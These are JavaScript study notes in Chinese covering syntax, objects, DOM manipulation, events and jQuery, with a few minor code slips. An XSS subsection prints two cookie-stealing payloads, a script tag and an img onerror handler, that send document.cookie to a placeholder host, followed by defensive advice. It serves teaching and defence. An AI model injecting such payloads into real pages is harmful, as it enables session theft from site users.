# JavaScript 筆記
:back: [回主目錄](/@Chanry/S1aqSdUxu)
###### tags: `前端筆記`
[TOC]
## 基本語法
* 敘述句(statement)程式碼每個指令或步驟。
* 註解(comments)
* 變數 => 用駝峰命名法
* 陣列(array)
* 實字(literal)`colors = ['white','black'];`
* 建構子(constructor)`colors = new Array('white','block');`
* 運算式(expressions)當中的運算子(operators)
* 指定(assing)`color = 'beige';`(+, -, *, /, ++, --, %)
* 算術(arithmetic)`area = 3 * 2;`
* 字串(string)`greeting = 'Hi' + 'Molly';`
* 比較(comparison)`buy = 3 > 5;`
* 邏輯(logical)`buy = (5>3) && (2<4);`
## 函式、物件
### 函式(function)組合一系列敘述句,以執行特定工作。
```javascript=
// 函式
function sayHello() { 敘述句 }
sayHello();
// 自函式
function getSize(width,height,depth) {
return [width*height,width*height*depth];
}
var areaOne = getSize(3,2,3)[0];
// 命名函式 - 解譯器優先
function area(width,height) {
return width*height;
}
var size = area(3,4);
// 匿名函式 - 解譯器逐行、程式只會被執行一次時運用
var area = function(width,height) {
return width*height;
}
var size = area(3,4);
// 立即執行函式(IIFE) - 解譯器逐行、程式只會被執行一次時運用
var area = (function() {
return 3*2;
}());
```
### 物件(object)
:::info
物件中的變數 稱為特性
物件中的函式 稱為方法
:::
```javascript=
// 實字表示法
var hotel = {
name: 'Quay',
rooms:'40',
checkAvalabibity: function(){
return 'Hi' + this.name;
}
}
// 或
var hotel = {}
hotel.name = 'Quay';
hotel.rooms = '40';
hotel.checkAvalabibity = function(){
return 'Hi' + this.name;
}
// 建構子表示法 - 建構單個物件
var hotel = new Object();
hotel.name = 'Quay';
hotel.rooms = '40';
hotel.checkAvalabibity = function(){
return 'Hi' + this.name;
}
// 建構子表示法 - 建構多個物件
function Hotel(name, rooms, booked) {
this.name = name;
this.rooms = rooms;
this.checkAvailability = function() {
return 'Hi' + this.name;
};
}
var quayHotel = new Hotel('Quay', 40);
var parkHotel = new Hotel('Park', 120);
// 句點表示法
var hotelName = hotel.name;
var hotelName = hotel['name']; //取得特性
// 變更物件
hotel.name = 'Park'; //修改特性值、不存在特性則新增
hotel['name'] = 'Park'; //修改特性名、不存在特性則新增
delete hotel.name; //刪除特性
hotel.name = ''; //特性值重設
```
### 內建物件(Built-in Objects)
#### 瀏覽器物件模型 BOM(Browser Object Model)
![](https://i.imgur.com/s2J6IAF.jpg =300x)
| 特性 | 說明 |
| -------- | -------- |
| window.innerHeight | 視窗高度 |
| window.innerWidth | 視窗寬度 |
| window.pageXoffset | 水平捲動距離 |
| window.pageYoffset | 垂直捲動距離 |
| window.screenX | 滑鼠X座標 |
| window.screenY | 滑鼠Y座標 |
| window.location | 目前URL |
| window.document | 頁面內容 |
| window.history | 瀏覽紀錄(.length) |
| window.screen | screen資訊(.width,.height)|
| 方法 | 說明 |
| -------- | -------- |
| window.alert() | 彈出對話框 |
| window.open() | 指定URL開新視窗 |
| window.print() | 呼叫Browser列印 |
#### 文件物件模型 DOM(Document Object Model)
![](https://i.imgur.com/NM5nZzw.jpg =300x)
| 特性 | 說明 |
| -------- | -------- |
| document.title | 頁面標題 |
| document.lastModified | 最後被修改時間 |
| document.URL | 目前URL |
| document.domain | 頁面之網域 |
| 方法 | 說明 |
| -------- | -------- |
| document.write() | 將文字寫入文件 |
| document.getElementById() | 取得指定ID的元件 |
| document.querySelectorAll() | 取得CSS選擇器的元件 |
| document.createElement() | 建立新元件 |
| document.createTextNode() | 建立新的文字節點 |
[詳細補充自下方章節](https://hackmd.io/R2ZaACOMTTehRvAxfUXQ-w?view#%E6%96%87%E4%BB%B6%E7%89%A9%E4%BB%B6%E6%A8%A1%E5%9E%8B)
#### 全域 JavaScript 物件(以 ECMAScript 標準為基礎)
![](https://i.imgur.com/pPPgapG.jpg =300x)
##### 1. string 物件
| H | o | m | e | | s | w | e | e | t | | h | o | m | e | |
| - | - | - | - | - | - | - | - | - | - | - | - | - | - | - | - |
| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
```javascript=
var saying = 'Home sweet home ';
saying.length; // 16
saying.toUpperCase(); // 'HOME SWEET HOME '
saying.toLowerCase(); // 'home sweet home '
saying.charAt(12); // 'o'
saying.indexof('ee'); // 7
saying.lastIndexof('e'); // 14
saying.substring(8,14); // 'et hom'
saying.split(''); // ['Home', 'sweet', 'home', '']
saying.trim(); // 'Home sweet home'
saying.replace('me','w'); // 'How sweet home'
```
##### 2. number 物件
| 方法 | 說明 |
| -------- | -------- |
| isNaN() | 檢查是否為數值 |
| toFixed() | 四捨五入至小數點後指定位數(回傳為字串) |
| toPrecision() | 四捨五入至指定的整數位數(回傳為字串) |
| toExponential() | 以指數表示法顯示數值(回傳為字串) |
* 整數(integer)
* 浮點數(floating point number)
* 實數(real number) => 整數 ∪ 浮點數
* 科學記號表示法(scientific notation)
##### 3. math 物件
| 特性 | 說明 |
| -------- | -------- |
| Math.PI | 回傳pi常數值 |
| 方法 | 說明 |
| -------- | -------- |
| Math.round() | 四捨五入 |
| Math.sqrt(n) | 開根號 |
| Math.ceil() | 取大於等於整數 |
| Math.floor() | 取小於等於整數 |
| Math.random() | 產生隨機0~1值 |
##### 4. date 物件
```javascript=
var today = new Date();
```
| 方法 | 說明 |
| -------- | -------- |
| getFullYear(), setFullYear() | 回傳, 設定年份(4位數) |
| getMonth(), setMonth() | 回傳, 設定月份(0-11) |
| getDate(), setDate() | 回傳, 設定日期(1-31) |
| getDay() | 回傳星期(0-6) |
| getHours(), setHours() | 回傳, 設定小時(0-23) |
| getMinutes(), setMinutes() | 回傳, 設定分鐘(0-59) |
| getSeconds(), setSeconds() | 回傳, 設定秒數(0-59) |
| getMilliseconds(), setMilliseconds() | 回傳, 設定毫秒(0-999) |
| getTime(), setTime() | 回傳, 設定從1970/01/01 00:00:00至此物件時間值(Unix時間) |
| getTimezoneOffset() | 回傳本機與UTC差異分鐘數 |
| toDateString() | 回傳具可讀性的日期字串(Wed Apr 16 1975) |
| toTimeString() | 回傳具可讀性的時間字串 |
| toString() | 回傳日期時間的字串 |
###### 計算倆時間差距
```javascript=
var today = new Date();
var year = today.getFullYear();
var est = new Date('Apr 16, 1996 15:45:55');
var difference = today.getTime() - est.getTime();
difference = (difference / 31556900000); //除一年毫秒數
var elMsg = document.getElementById('message');
elMsg.textContent = Math.floor(difference);
```
###### 計算房間優惠價格截止日(加7天、補月份、星期名稱回傳)
```javascript=
var expiryMsg;
var today;
var elEnds;
function offerExpires(today) {
var weekFromToday, day, date, month, year, dayNames, monthNames;
// 加七天(毫秒)
weekFromToday = new Date(today.getTime() + 7 * 24 * 60 * 60 * 1000);
dayNames = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'];
monthNames = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'];
day = dayNames[weekFromToday.getDay()];
date = weekFromToday.getDate();
month = monthNames[weekFromToday.getMonth()];
year = weekFromToday.getFullYear();
expiryMsg = '優惠到期於 ';
expiryMsg += day + ' <br />(' + date + ' ' + month + ' ' + year + ')';
return expiryMsg;
}
today = new Date();
elEnds = document.getElementById('offerEnds');
elEnds.innerHTML = offerExpires(today);
```
##### 5. regex 物件
:::danger
待補充
:::
### this 關鍵字
```javascript=
// 全域範圍 - 函式
var width = this.innerWidth; // this = window object
// 全域範圍 - 變數
var width = 600;
var ans = this.width; // this = window object, ans = 600
// 物件範圍
var shape = {
width:600,
height:400,
getArea: function() {
return this.width * this.height;
}
};
```
## 決策、迴圈
:::warning
此處較程式基本。
:::
### 比較運算子
| 運算子 | 名稱 | 說明 |
| -------- | -------- | -------- |
| == | 等於 | |
| != | 不等於 | |
| === | 嚴格等於 | 型別與值都需相同 |
| !== | 嚴格不等於 | 型別與值都需不相同 |
| > | 大於 | |
| < | 小於 | |
| >= | 大於等於 | |
| <= | 小於等於 | |
### 邏輯運算子
| 運算子 | 名稱 | 說明 |
| -------- | -------- | -------- |
| && | AND | |
| \|\| | OR | |
| ! | NOT | |
### 條件判斷式
#### if else
```javascript=
if (score > pass) {
msg = '過關';
} else {
msg = '重讀';
}
```
#### switch
```javascript=
switch (level) {
case 1:
msg = 'Good luck on the first test';
break;
case 2:
msg = 'Second of three - keep going!';
break;
case 3:
msg = 'Final round, almost there!';
break;
default:
msg = 'Good luck!';
break;
}
```
### 型別
> 遇無法理解型別,JS會試著運算合理化,而非直接回報錯誤。
> 型別:string, number, boolean, null, undefined
* 強型別(strong typing)
* 弱型別(weak typing) => JS為此種型別,接受假值
### 真假值
* 假值(falsy) => 視為false
```javascript=
var a = false; //布林false
var a = 0; //數字0
var a = ''; //空值
var a = 10/'score'; //NaN
var a; //undefined
```
> 例外:nul和undefined雖然為假值,但除了和本身比較外,和其他值都不會相等。
* 真值(truthy) => 視為true
> 假值以外皆為真。
### 捷徑值
```javascript=
// artistA = artist,兩真值。
var artist = 'Rem';
var artistA = (artist || 'Unknown');
// artistA = 'Unknown',假真值。
var artist = '';
var artistA = (artist || 'Unknown');
// artistA = {},假真值。
var artist = '';
var artistA = (artist || {});
```
### 型別比較 - 三位一體
![](https://i.imgur.com/BMGWN1k.jpg)
![](https://i.imgur.com/dxEuEPj.jpg)
### 迴圈
#### for
```javascript=
for (var i=0; i<10; i++) {
document.write(i);
// break
// continue
}
```
#### while
```javascript=
while (i<10) {
meg += i;
i++;
}
```
#### do while
```javascript=
do {
meg += i;
i++;
} while (i<10);
```
## 文件物件模型
### 存取元件
```javascript=
// 選取單一節點
var a = getElementById('id')
var a = querySelector('css selector') //回傳第一個
// 選取一或多節點
var a = getElementByClassName('class')
var a = getElementByTagName('tagName')
var a = querySelectorAll('css selector') //回傳全部
// DOM巡訪
var a = getElementById('id').parentNode; // 父節點
var a = getElementById('id').previousSibling; // 兄弟節點 - 前
var a = getElementById('id').nextSibling; // 兄弟節點 - 後
var a = getElementById('id').firstChild; // 子節點 - 第一個
var a = getElementById('id').lastChild; // 子節點 - 最後一個
```
> 因空白或換行有些瀏覽器會產生文字節點,影響兄弟、子節點選擇,可用JQ解決。
### 操作元件
```javascript=
// item()方法
var a = getElementByClassName('class').item(0);
// 陣列語法 => 使用較快速
var a = getElementByClassName('class')[0];
// 文字節點
var a = getElementById('id').nodeValue;
// 元件節點
var a = getElementById('id').innerHTML;
var a = getElementById('id').textContent;
var a = getElementById('id').innerText; // 注意支援度、CSS隱藏、效能較差
```
#### 在DOM樹變更元件
* document.write() => 只在頁面載入時可用,且會覆寫,應少用
* innerHTML => 較有效率,但不安全(可能遭XSS攻擊)
* createElement() => 較沒效率,但安全
```javascript=
// 創建 加入
var newEl = document.createElement('li');
var newText = document.createTextNode('quinoa');
newEl.appendChild(newText); // 將文字節點放入元件節點下
// 尋找 加入
var position = document.getElementsByTagName('ul')[0];
position.appendChild(newEl);
// 尋找 找父節點 刪除
var removeEl = document.getElementsByTagName('li')[3];
var containerEl = document.getElementsByTagName('ul')[0];
containerEl.removeChild(removeEl);
```
#### 屬性節點
```javascript=
var a = getElementById('one').getAttribute('class'); // 取得id=one之元件的class屬性值
var a = getElementById('one').hasAttribute('class'); // 檢查id=one之元件是否有此屬性
var a = getElementById('one').setAttribute('class', 'cool'); // 取得id=one之元件並加入cool至class屬性中
var a = getElementById('one').removeAttribute('class'); // 取得id=one之元件並移除class屬性
```
### 跨網站指令碼攻擊(XSS)
> 若使用innerHTML或其他JQ方法,要注意XSS攻擊。
> XSS是讓對方有機會放入自己的程式碼。
#### 是如何攻擊?
```htmlembedded=
<!-- 將cookie藏於變數,回傳給第三方伺服器 -->
<script>var adr='http://example.com/xss.php?cookie=' + escape(document.cookie);</script>
<!-- 遺失圖片觸發惡意程式碼 -->
<img src="http://nofile" onerror="adr='http://example.com/xss.php?cookie=' + escape(document.cookie)";>
```
#### 該如何防範
* 送往伺服器的資料需驗證
* 使用者輸入驗證,合理範圍
* 伺服器端再次驗證,使用者可能關閉前端JS
* 來自伺服器的資料進行字元跳脫
* 未受信任來源不可建立DOM,只可經過字元跳脫,以文字方式加入
* 不使用DOM的 innerHTML 和JQ的 .html()
## 事件
### 事件處理器
#### HTML事件處理器
> 已較少使用,因較好方式為JS、HTML分離。
##### 註冊時檢查帳號
```htmlembedded=
<form method="post" action="http://www.example.org/register">
<label for="username">設定帳號: </label>
<input type="text" id="username" onblur="checkUsername()" />
<div id="feedback"></div>
<label for="password">設定密碼: </label>
<input type="password" id="password" />
<input type="submit" value="註冊" />
</form>
```
```javascript=
function checkUsername() {}
```
#### 傳統DOM事件處理器
> 單一觸發
> 例如同個submit事件無法觸發一個檢查表單內容函式後再觸發資料傳輸函式。
```javascript=
function checkUsername() {}
var elUsername = document.getElementById('username');
elUsername.onblur = checkUsername;
```
#### DOM Level 2 事件監聽器
> 於2000年推出,較推薦方式,支援度問題可用方法解決(IE9+)。
```javascript=
function checkUsername() {}
var elUsername = document.getElementById('username');
elUsername.addEventListener('blur', checkUsername, false); // false為事件流程模式,用事件氣泡
```
##### 失去焦點時,檢查使用者名稱是否過短
> 因監聽所呼叫函式名稱無小括號,故要傳入數值則需運用匿名函式。
```javascript=
var elUsername = document.getElementById('username');
var elMsg = document.getElementById('feedback');
function checkUsername(minLength) {
if (elUsername.value.length < minLength) {
elMsg.innerHTML = '使用者名稱長度必須多於 ' + minLength + '字';
} else {
elMsg.innerHTML = '';
}
}
elUsername.addEventListener('blur', function() {
checkUsername(5);
}, false);
```
> 可用attachEvent支援舊IE5-8。
```javascript=
if (elUsername.addEventListener) {
elUsername.addEventListener('blur', function(){
checkUsername(5);
}, false);
} else {
elUsername.attachEvent('onblur', function(){
checkUsername(5);
});
}
```
### 事件流程
#### 事件氣泡(Event Bubbling)
> 由內向外循序啟動,多數瀏覽器支援,預設事件流程。
> \<a> => Document
#### 事件捕捉(Event Capturing)
> 由外向內循序啟動,IE9+。
> Document => \<a>
### event 物件 / 事件委派
> 當事件發生時,event 物件可以告訴你事件的相關資訊,和觸發事件的目標元件。
| 特性 | IE5-8 | 說明 |
| -------- | -------- | -------- |
| target | srcElement | 事件的目標元件 |
| type | type | 被啟動的事件類型 |
| cancelable | 不支援 | 是否元件預設的行為可被取消 |
| 方法 | IE5-8 | 說明 |
| -------- | -------- | -------- |
| prevenDefault | returnValue | 取消元件預設的行為(如果可被取消) |
| stopPropagation | cancelBubble | 停止事件氣泡或事件捕捉進行 |
#### 事件監聽器 - 不需傳遞參數
```javascript=
function checkUsername(e) {}
var elUsername = document.getElementById('username');
elUsername.addEventListener('blur', checkUsername, false);
```
#### 事件監聽器 - 需傳遞參數
```javascript=
function checkUsername(e, minLength) {}
elUsername.addEventListener('blur', function(e) {
checkUsername(e, 5);
}, false);
```
#### 支援度檢查
##### 失去焦點時,檢查使用者名稱是否過短
```javascript=
function checkLength(e, minLength) {
var el, elMsg;
if (!e) { //如果不支援
e = window.event; //使用早期方式
}
el = e.target || e.srcElement; //取得事件發生的目標元件
elMsg = el.nextSibling; //取得它的兄弟元件節點
if (el.value.length < minLength) {
elMsg.innerHTML = '使用者名稱長度必須多於 ' + minLength + '字';
} else {
elMsg.innerHTML = '';
}
}
var elUsername = document.getElementById('username');
if (elUsername.addEventListener) { //如果支援事件監聽器
elUsername.addEventListener('blur', function(e) {
checkLength(e, 5);
}, false);
} else {
elUsername.attachEvent('onblur', function(e) {
checkLength(e, 5);
});
}
```
#### 變更預設行為
##### 防止使用者因點擊超連結或算出表單而前往新頁面(有考慮到支援度)
```javascript=
if (event.preventDefault) {
event.preventDefault();
} else {
event.returnValue = false;
}
```
##### 一旦針對一元件變更預設行為後,也需停止氣泡向上(有考慮到支援度)
```javascript=
if (event.preventDefault) {
event.preventDefault();
} else {
event.returnValue = false;
}
```
#### 事件委派
> 教學影片:https://youtu.be/3cTdztTmtL0
:::info
利用上述所學:
例如一個div內有三個btn,我們可以把事件寫在div,然後用target取得目標元件。
:::
```htmlembedded=
<div id="menu">
<button date-key="add">新增</button>
<button date-key="update">修改</button>
<button date-key="remove">刪除</button>
</div>
```
```javascript=
let menu = document.querySelector("#menu");
menu.addEventListener('click', function(e){
let key = e.target.getAttribute("data-key");
console.log(key);
}, false);
```
### 介面事件
| 事件 | 說明 |
| -------- | -------- |
| load | 頁面內容載入完成 |
| unload | 頁面內容停止載入(使用者載入新頁面) |
| error | JS錯誤 |
| resize | 瀏覽器視窗調整尺寸大小 |
| scroll | 瀏覽器捲軸上下拉動 |
#### load 事件
##### 當頁面載入時,將游標聚焦於 username 元件上
```javascript=
function setup() {
var textInput;
textInput = document.getElementById('username');
textInput.focus();
}
window.addEventListener('load', setup, false);
```
### 鍵盤事件
| 事件 | 說明 |
| -------- | -------- |
| keydown | 使用者按下按鍵 |
| keyup | 使用者釋放按鍵 |
| keypress | 使用者按下按鍵輸入字元 |
#### 打字時計算字數
```javascript=
function charCount(e) {
var textEntered, charDisplay, counter, lastkey;
textEntered = document.getElementById('message').value;
charDisplay = document.getElementById('charactersLeft');
counter = (180 - (textEntered.length));
charDisplay.textContent = counter;
lastkey = document.getElementById('lastKey');
lastkey.textContent = 'ASCII code: ' + e.keyCode;
}
var el = document.getElementById('message');
el.addEventListener('keyup', charCount, false);
```
### 滑鼠事件
| 事件 | 說明 |
| -------- | -------- |
| click | 使用者於相同元件上按下並釋放滑鼠 |
| dbclick | 使用者於相同元件上連續兩次按下並釋放滑鼠 |
| mousedown | 使用者於元件上按下滑鼠 |
| mouseup | 使用者於元件上釋放滑鼠 |
| mousemove | 使用者移動滑鼠(非在觸控螢幕上) |
| mouseover | 使用者移動滑鼠經過元件(非在觸控螢幕上) |
| mouseout | 使用者移動滑鼠離開元件(非在觸控螢幕上) |
#### 移動滑鼠時,更新位置資訊
```javascript=
var sx = document.getElementById('sx');
var sy = document.getElementById('sy');
var px = document.getElementById('px');
var py = document.getElementById('py');
var cx = document.getElementById('cx');
var cy = document.getElementById('cy');
function showPosition(e) {
sx.value = e.screenX;
sy.value = e.screenY;
px.value = e.pageX;
py.value = e.pageY;
cx.value = e.clientX;
cy.value = e.clientY;
}
var el = document.getElementById('body');
el.addEventListener('mousemove', showPosition, false);
```
### 聚焦事件
| 事件 | 說明 |
| -------- | -------- |
| focus / focusin | 元件取得焦點 |
| blur / focusout | 元件失去焦點 |
### 表單事件
| 事件 | 說明 |
| -------- | -------- |
| input | 在\<input\>或\<textarea\>中的值被變更(IE9+)或其他元件具有contenteditable |
| change | 在下拉式選單、多選核取框、單選按鈕的值被變更(IE9+) |
| submit | 使用者送出表單(按按鈕) |
| reset | 使用者按重置按紐 |
| cut | 使用者自表單欄位剪下內容 |
| copy | 使用者自表單欄位複製內容 |
| paste | 使用者貼上內容置表單欄位中 |
| select | 使用者於表單欄位中選取文字 |
#### 更改選項時顯示折扣訊息,送出時檢查是否勾選同意核取框
```htmlembedded=
<form method="post" action="http://www.example.org/register" id="formSignup">
<h2>Membership</h2>
<label for="package" class="selectbox"> 選擇方案: </label>
<select id="package">
<option value="annual">1年 ($50)</option>
<option value="monthly">1個月 ($5)</option>
</select>
<div id="packageHint" class="tip"></div>
<input type="checkbox" id="terms" />
<label for="terms" class="checkbox">勾選同意條款</label>
<div id="termsHint" class="warning"></div>
<input type="submit" value="next" />
</form>
```
```javascript=
var elForm, elSelectPackage, elPackageHint, elTerms, elTermsHint;
elForm = document.getElementById('formSignup');
elSelectPackage = document.getElementById('package');
elPackageHint = document.getElementById('packageHint');
elTerms = document.getElementById('terms');
elTermsHint = document.getElementById('termsHint');
function packageHint() {
var pack = this.options[this.selectedIndex].value;
if (pack === 'monthly') {
elPackageHint.innerHTML = '如果您購買一年,可節省10$!';
} else {
elPackageHint.innerHTML = '明智的選擇!';
}
}
function checkTerms(event) {
if (!elTerms.checked) {
elTermsHint.innerHTML = '你必須同意條款';
event.preventDefault();
}
}
elForm.addEventListener('submit', checkTerms, false);
elSelectPackage.addEventListener('change', packageHint, false);
```
### 變動事件
| 事件 | 說明 |
| -------- | -------- |
| DOMSubtreeModified | 文件被變更 |
| DOMNodeInserted | 文件節點被插入 |
| DOMNodeRemoved | 文件節點被移除 |
| DOMNodeInsertedIntoDocument | 文件節點安插在另一個節點下,作為其後代節點時 |
| DOMNodeRemovedFromDocument | 文件節點自另一個節點中移除,不再作為其後代子節點時 |
#### 按鈕按下新增li,計數器檢測到變動後,更新計數器
```htmlembedded=
<ul id="list">
<li>原本的元件</li>
</ul>
<div class="button"><a href="/additem" class="add">新增元件</a></div>
```
```javascript=
var elList, addLink, newEl, newText, counter, listItems;
elList = document.getElementById('list');
addLink = document.querySelector('a');
counter = document.getElementById('counter');
function addItem(e) {
e.preventDefault();
newEl = document.createElement('li');
newText = document.createTextNode('新元件');
newEl.appendChild(newText);
elList.appendChild(newEl);
}
function updateCount() {
listItems = elList.getElementsByTagName('li').length;
counter.innerHTML = listItems;
}
addLink.addEventListener('click', addItem, false);
elList.addEventListener('DOMNodeInserted', updateCount, false);
```
### HTML5 事件
| 事件 | 說明 |
| -------- | -------- |
| DOMContentLoaded | DOM樹被建立時<br>(圖片、CSS、JS可能還在載入,比load早) |
| hashchange | URL的hash結果變更<br>(用於連結頁面指定區塊,也可用以載入AJAX請求頁面) |
| beforeunload | 頁面內容開始卸載前<br>(用於離開表單時提示尚未儲存) |
#### 使用者離開表單頁面時,提醒還沒存檔
```javascript=
window.addEventListener('beforeunload', function(event) {
var message = '您尚未存檔,確定要離開嗎';
(event || window.event).returnValue = message;
return message;
});
```
## jQuery
> $()就是jQuery
* jQ能幹嘛?
* 利用jQ CSS樣式選擇器選取物件
* $('li.hot')
* 利用jQ 方法對元件進行操作
* $('li.hot').addClass('complete');
* 為何使用jQ?
* 簡單的元件選擇器
* 以較少程式達成相同工作
* 元件巡訪隱性重複執行
* 鏈結語法
* 跨瀏覽器相容性
### 選擇器
#### 基本選擇器
| 選擇器 | jQ | 說明 |
| -------- | -------- | -------- |
| * | | 所有元件 |
| element | | 具此標籤之元件 |
| #id | | 具此id屬性值之元件 |
| .class | | 具此class屬性值之元件 |
| selector1, selector2 | | 符合多選擇器篩選條件之元件 |
#### 階層結構
| 選擇器 | jQ | 說明 |
| -------- | -------- | -------- |
| ancestor descendant | | 一個元件下的子孫元件 |
| parent > child | | 一個元件下的直接子元件<br>(child可用*就是全部子元件) |
| previous + next | | 一個元件的下一個直接兄弟元件 |
| previous ~ siblings | | 一個元件的所有兄弟元件 |
#### 基本選擇條件
| 選擇器 | jQ | 說明 |
| -------- | -------- | -------- |
| :not(selector) | | 括號內除外 |
| :first | jQ | 元件集合中第一個元件 |
| :last | jQ | 元件集合中最後一個元件 |
| :even | jQ | 元件集合中偶數索引值的元件 |
| :odd | jQ | 元件集合中奇數索引值的元件 |
| :eq(index) | jQ | 元件集合中索引值等於index的元件 |
| :gt(index) | jQ | 元件集合中索引值大於index的元件 |
| :lt(index) | jQ | 元件集合中索引值小於index的元件 |
| :header | jQ | 所有\<h1> - \<h6>元件 |
| :animated | jQ | 所有套用動畫效果功能的元件 |
| :focus | | 目前聚焦的元件 |
#### 內容選擇器
| 選擇器 | jQ | 說明 |
| -------- | -------- | -------- |
| :contains('text') | | 元件包含參數所指定的文字 |
| :emply | | 所有無子元件的元件 |
| :parent | jQ | 所有有子元件的元件 |
| :has(selector) | jQ | 元件包含至少一個符合選擇器條件的元件<br>(例如div:has\(p\)可篩選出所有包含p元件的div元件) |
#### 可視性選擇器
| 選擇器 | jQ | 說明 |
| -------- | -------- | -------- |
| :hidden | jQ | 所有隱藏的元件 |
| :visible | jQ | 所有在頁面上有佔據顯示空間的元件不會被選取(?) |
#### 子元件選擇器
| 選擇器 | jQ | 說明 |
| -------- | -------- | -------- |
| :nth-child(n) | | 第n個元件,但不可為0 |
| :first-child | | 元件集合的第一個子元件 |
| :last-child | | 元件集合的最後一個子元件 |
| :only-child | | 只有一個子元件的元件 |
#### 屬性選擇器
| 選擇器 | jQ | 說明 |
| -------- | -------- | -------- |
| \[attribute\] | | 具備此屬性的元件 |
| \[attribute='value'\] | | 具備此屬性和屬性值的元件 |
| \[attribute!='value'\] | jQ | 具備此屬性但非此屬性值的元件 |
| \[attribute^='value'\] | | 具備此屬性和屬性值以value起始的元件 |
| \[attribute$='value'\] | | 具備此屬性和屬性值以value結尾的元件 |
| \[attribute*='value'\] | | 具備此屬性和屬性值中有value文字的元件 |
| \[attribute\|='value'\] | | 具備此屬性和屬性值等於,或以value起始並接續連結符號'-'的元件 |
| \[attribute\~='value'] | | 具備此屬性和屬性值其中之一是value的元件 |
| \[attribute\]\[attribute2\] | | 符合所有篩選條件的元件 |
#### 表單選擇器
| 選擇器 | jQ | 說明 |
| -------- | -------- | -------- |
| :input | jQ | 所有輸入框元件 |
| :text | jQ | 所有文字元件 |
| :password | jQ | 所有密碼輸入框元件 |
| :radio | jQ | 所有單選按鈕元件 |
| :checkbox | jQ | 所有多選核取盒元件 |
| :submit | jQ | 所有送出按紐元件 |
| :image | jQ | 所有\<img>元件 |
| :reset | jQ | 所有重置按鈕元件 |
| :button | jQ | 所有\<button>元件 |
| :file | jQ | 所有檔案上傳元件 |
| :selected | jQ | 所有下拉式選單被選取的選項元件 |
| :enabled | | 所有被啟用的元件(預設) |
| :disabled | | 所有被停用的元件 |
| :checked | | 所有被選擇的單選按鈕或多選核取盒的選項元件 |
### 事件監聽器
#### 文件 / 檔案
| 方法 | 說明 |
| -------- | -------- |
| .ready() | 當DOM載入完成就會執行(不會等所有資源均載入) |
| .load() |當頁面所有資源載入完成後執行 |
```javascript=
$(document).ready(function(){
});
// 縮寫
$(function(){
});
```
### 內容選擇器
#### 取得 / 變更內容
| 方法 | 說明 |
| -------- | -------- |
| .html() | 從元件集合中取第一個元件的HTML內容與其子孫元件,<br>可設定全部元件集合新內容 |
| .text() | 從元件集合中取每個元件的文字內容,<br>可設定全部元件集合新文字 |
| .replaceWith() | 將元件集合中每個元件取代為新內容 |
```javascript=
// 取得ul中的li並加回ul中
var $listHTML = $('ul').html();
$('ul').append($listHTML);
// 取得第一個li並放至每個li中
var $listItemHTML = $('li').html();
$('li').append('<i>' + $listItemHTML + '</i>');
```
```javascript=
// 每個元件的文字都被變更為置於<em>中
$('li.hot').html(function(){
return '<em>' + $(this).text() + '</em>';
});
// 取出包含pine的清單元件,接著將文字變更為almonds
$('li:contains("pine")').text('almonds');
```
##### this 與 $(this)差別
* this指的是html元素的"div",用來取得該div的屬性。
* $(this)則是指jQuery的物件,用來執行jQuery的方法。
#### 插入元件
| 方法 | 說明 |
| -------- | -------- |
| .before() | 將內容插入在選取的元件之前 |
| .after() | 將內容插入在選取的元件之後 |
| .prepend() | 將內容插入在選的元件之內,於元件起始標籤之後 |
| .append() | 將內容插入在選的元件之內,於元件起始標籤之前 |
![](https://i.imgur.com/fc58wWp.jpg =300x)
#### 移除 / 複製元件
| 方法 | 說明 |
| -------- | -------- |
| .remove() | 將元件集合中所有子孫元件、文字元件刪除 |
| .detach() | 如.remove(),但會在記憶體中保留一份相同的複製資料 |
| .empty() | 將元件集合中所有子元件、子孫元件刪除 |
| .unwrap() | 將元件集合中所有父元件刪除,保留符合條件的元件 |
| .clone() | 複製出一份選取集合的副本(包含所有子孫元件和文字元件) |
```javascript=
var $p = $('p');
var $clonedQuote = $p.clone();
$p.remove();
$clonedQuote.insertAfter('h2');
var $moveItem = $('#one').detach();
$moveItem.appendTo('ul');
```
#### 擷取和設定屬性值
| 方法 | 說明 |
| -------- | -------- |
| .attr() | 擷取或設定一個指定的屬性和值 |
| .removeAttr() | 移除一個指定的屬性和值 |
| .addClass() | 加入屬性值到既有的class中,不會覆寫既有屬性值 |
| .removeClass() | 自class中移除屬性值 |
```javascript=
// 擷取
$('li#one').attr('id');
// 設定,需指定一個新的值
$('li#one').attr('id', 'hot');
```
#### 擷取和設定CSS特性
| 方法 | 說明 |
| -------- | -------- |
| .css() | 擷取或設定CSS特性 |
```javascript=
// 擷取
var backgroundColor = $('li').css('background-color');
// 設定,需指定一個新的值,或+= -=表示增加減少
$('li').css('background-color', '#272727');
$('li').css('padding-left', '+=20');
// 用物件實字表示法設定多特性
$('li').css({
'background-color': '#272727',
'font-family': 'Courier'
});
```
#### 巡訪所有元件
| 方法 | 說明 |
| -------- | -------- |
| .each() | 巡訪所有元件(index參數可以當計數器) |
```javascript=
// 將id屬性值顯示在每個li後
$('li').each(function() {
var ids = this.id; //this取得巡訪時的元件id
$(this).append(' <span class="order">' + ids + '</span>'); //$(this)建立包含目前元件的jQ物件
});
```
##### each 與 for each 差別(i為索引,item為元素)
* JS
* arr.forEach(function(item,i){}
* jQuery
* $.each(arr,function(i,item){}
### 事件處理器
#### 使用者互動
> 較舊版本會用.click()或.focus(),現在都改用.on()即可
| 方法 | 說明 |
| -------- | -------- |
| .on() | 處理所有事件 |
* 使用者介面
* focus, blur, change
* 鍵盤
* input, keydown, keyup, keypress
* 滑鼠
* click, dblclick, mouseup, mousedown,<br>mouseover, mousemove, mouseout, hover
* 表單
* submit, select, change
* 文件頁面
* ready, load, unload
* 瀏覽器
* error, resize, scroll
```javascript=
$(li).on('click', function(){
$(this).addClass('complete');
});
```
#### event 物件
> 每個事件處理函式都需接收一個event物件,得知事件相關的方法與特性
| 特性 | 說明 |
| -------- | -------- |
| type | 事件類型 |
| which | 按下的是滑鼠或鍵盤 |
| data | 額外資訊(下面補充) |
| target | 事件起始的DOM元件 |
| pageX | 滑鼠位置與可視範圍左端距離 |
| pageY | 滑鼠位置與可視範圍頂端距離 |
| timeStamp | 自西元1970/01/01至事件被觸發時間毫秒數 |
| 方法 | 說明 |
| -------- | -------- |
| .preventDefault() | 取消預設行為(例如送出表單) |
